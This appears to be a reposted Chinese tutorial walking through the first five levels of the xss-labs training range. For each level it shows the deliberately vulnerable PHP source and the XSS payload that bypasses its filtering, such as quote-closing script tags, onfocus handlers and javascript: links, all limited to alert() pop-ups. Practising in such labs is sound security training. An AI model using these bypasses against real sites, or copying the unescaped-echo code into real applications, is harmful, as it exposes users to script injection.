当前位置: 首页 > article >正文

-XSS-

链接

https://github.com/do0dl3/xss-labs

搭建过程非常容易的

搭建好之后,就可以点击图片开始闯关了 

第一关--JS弹窗函数alert()

显示payload的长度是4

level1.php?name=test

level1.php?name=test1

发现只要改变name的值就显示什么在页面上

没有什么过滤的

尝试一下

'"><script>alert('hhh');</script>

 <script>alert('1')</script>

两种都是可以的

看到弹窗

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第二关--闭合掉双引号

先尝试

<script>alert()</script>

应该是过滤了,没有出现弹窗

源代码

特殊符号被转换成实体了

没有被实体转义

"> <script>alert('xss')</script><"

闭合前面同时也闭合后面的内容

出现弹窗

 

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第三关--过滤<>号,onfocus可以绕过html实体化(单引号闭合)

尝试

<script>alert('hhh')</script>

回显

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars函数只针对<>大于小于号进行html实体化

可以利用onfocus事件绕过

nfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

也就是先触发,再执行代码

' onfocus=javascript:alert() '

 回车之后需要点击搜索框,才会出现弹窗

 

第四关--(双引号闭合)

<script>alert('hhh')</script>

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);  #这里把<>给删掉了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


双引号闭合,<input>标签,所以我们还能继续利用onfocus事件

" onfocus=javascript:alert() "

和上一关不一样的是这里是双引号闭合

第五关--a  href标签法

简单的测试一下,没有成功

 感觉和上一关的差不多的,接着测试

" onfocus=javascript:alert() "

 

 这一次没有出现弹窗的

 这里on被替换成了o_n,script也变成scr_ipt

源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);  #将所有字母转换成小写
$str2=str_replace("<script","<scr_ipt",$str);  #过滤js标签
$str3=str_replace("on","o_n",$str2);  #onfocus事件也被过滤
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

过滤了js的标签还有onfocus事件

这里用a href标签法

href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码

eg

"> <a href=javascript:alert()>hhh</a> <"

回车之后就点击hhh,就会弹窗了

这一关的前提就是闭合号<"">没失效,才可以达到目的


http://www.kler.cn/a/377984.html

相关文章:

  • node.js模块化分析
  • 砥砺十年风雨路,向新而行创新程丨怿星科技十周年庆典回顾
  • windows XP,ReactOS系统3.4 共享映射区(Section)---1
  • Spring Boot 配置文件启动加载顺序
  • Windows换机华为擎云(银河麒麟V10+麒麟9000C CPU)后,使用selenium的程序怎么办(20241030)
  • DFS求解迷宫最长移动路线
  • Qt的程序如何打包详细教学
  • React常用前端框架合集
  • Ubuntu下安装和配置MySQL5.7教程
  • C/C++中的基本数据类型
  • Qt——QWidget
  • Java类和对象(上篇)
  • Github 2024-10-30C开源项目日报 Top10
  • 正则表达式学习
  • 【系统架构设计师】2024年上半年真题论文: 论模型驱动架构设计方法及其应用(包括解题思路和素材)
  • 操作系统——计算机系统概述——1.4操作系统结构
  • 【2】Elasticsearch 查询从基础到高级
  • jsweb2
  • Java实现动态切换ubuntu壁纸功能
  • 自定义日志打成jar包引入项目后不生效
  • 3D Gaussian Splatting 入门
  • 8.5K+ Star!Skyvern:一个基于LLMs和计算机视觉自动化浏览器工作流的工具
  • Day 41 || 1049. 最后一块石头的重量 II 、494. 目标和、474.一和零
  • 机器学习之fetch_olivetti_faces人脸识别--基于Python实现
  • 数据智能驱动金融策略优化:民锋智能分析技术的应用
  • 深度学习-38-基于PyTorch的卷积神经网络AlexNet